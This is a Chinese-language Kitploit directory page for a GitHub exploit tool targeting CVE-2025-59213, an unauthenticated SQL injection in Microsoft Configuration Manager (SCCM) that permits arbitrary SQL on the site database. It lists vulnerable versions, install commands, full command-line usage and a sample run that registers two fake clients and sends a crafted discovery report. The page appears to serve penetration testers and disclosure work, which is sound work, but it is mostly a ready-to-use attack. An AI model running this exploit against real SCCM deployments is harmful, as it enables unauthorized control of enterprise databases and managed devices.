Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/synacktiv/cve-2025-59213
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试数据库安全
GitHubsynacktiv/cve-2025-59213

CVE-2025-59213

未认证的 SQL 注入漏洞利用工具,针对 Microsoft Configuration Manager (SCCM) 2503,通过 Discovery Data Manager DDM 方法在站点数据库上实现任意 SQL 执行。

查看仓库
3104个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Microsoft Configuration Manager (ConfigMgr / SCCM) 2503 未认证 SQL 注入 (CVE-2025-59213) 漏洞利用

此脚本利用 CVE-2025-59213 漏洞,该漏洞允许具有网络访问权限的未认证攻击者通过滥用 Discovery Data Manager (DDM) 的 DuplicateAMTMachineRecord 方法中的 SQL 注入缺陷,在站点数据库上执行任意 SQL 查询。在合并两个硬件 ID 冲突的客户端时,未转义的 Hardware_ID0 字段被不当处理。

当缺少 KB34503790 时,以下所有 Microsoft Configuration Manager 版本均易受攻击:

  • < 2503 (5.00.9135.1008)
  • < 2409 (5.00.9132.1029)
  • < 2403 (5.00.9128.1035)
  • <= 2303 (*)

要求

  • 在某些情况下,当管理点配置为 仅 HTTPS 通信模式时,需要 PKI 证书才能对易受攻击的 HTTP 服务执行双向 TLS 认证。任何由内部 PKI 颁发、用途为 客户端身份验证 的证书均可使用。
  • 如果没有证书,请使用 --altauth 开关(更多信息请参见此处)

注意事项

  • 该漏洞利用需要注册两个伪造的客户端。除非使用 --no-clean 开关,或存在补丁阻止清理触发,否则脚本会在 SQL 注入成功后自动将其删除。
  • 由于注入是异步的,时间型 payload 无效,因为执行与响应时间之间没有直接关联。

安装

您可以通过克隆仓库并安装依赖项来安装。

$ git clone https://github.com/synacktiv/CVE-2025-59213
$ cd CVE-2025-59213
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt

用法

 $ python3 CVE-2025-59213.py -h 
usage: CVE-2025-59213.py [-h] -t TARGET [-sk SIGKEY] [-k KEY] [-c CERT] [-v] -cn CLIENT_NAME [-rs REGISTRATION_SLEEP] [-a] -sql SQL [-nc]

CVE-2025-59213 - Discovery Data Manager (DDM) Unauthenticated SQL Injection

options:
  -h, --help            show this help message and exit
  -t, --target TARGET   Target (http://sccm-mp.local/)
  -sk, --sigkey SIGKEY  SMS signature key (automatically generated if omitted)
  -k, --key KEY         Private key file for mTLS
  -c, --cert CERT       Certificate file for mTLS
  -v, --verbose         Verbose output, print requests
  -cn, --client-name CLIENT_NAME
                        Name of the client that will be created in SCCM
  -rs, --registration-sleep REGISTRATION_SLEEP
                        The amount of time, in seconds, that should be waited after registrating a new device (10 seconds by default)
  -a, --altauth         Use the MP's alternate authentication endpoint
  -sql SQL              Query to execute through the SQL injection
  -nc, --no-clean       Do not automatically clean the registred devices

示例

$ python3 ./CVE-2025-59213.py -t https://cmc.corp.local --altauth -cn FAKE_CLIENT_NAME -sql 'select 1'
[+] Generated new signing key, saved to /tmp/sccm_poc.key
[+] CcmMessage : ID={D731ED0A-4474-497D-A191-D8948E17ECBF}
[+] Got SMSID = GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F for new client FAKE_CLIENT_NAME
[+] CcmMessage : ID={23EEE9B8-7971-4560-9D18-9328C5DF0C2E}
[+] Got SMSID = GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69 for new client FAKE_CLIENT_NAME
[+] Sending DDR report: SMSID=GUID:CF4AFCD1-7237-4C04-8252-CC0F5B881F3F OLDSMSID=GUID:26A34806-CE06-4212-A830-C1E3AC9D7F69
[+] CcmMessage : ID={88B6BEBD-1F99-4BD2-8786-6BD3C6CFF299}
[+] CcmMessage : adding clientauth
[+] CcmMessage : adding attachment
[+] DDR report sent successfully
下载工具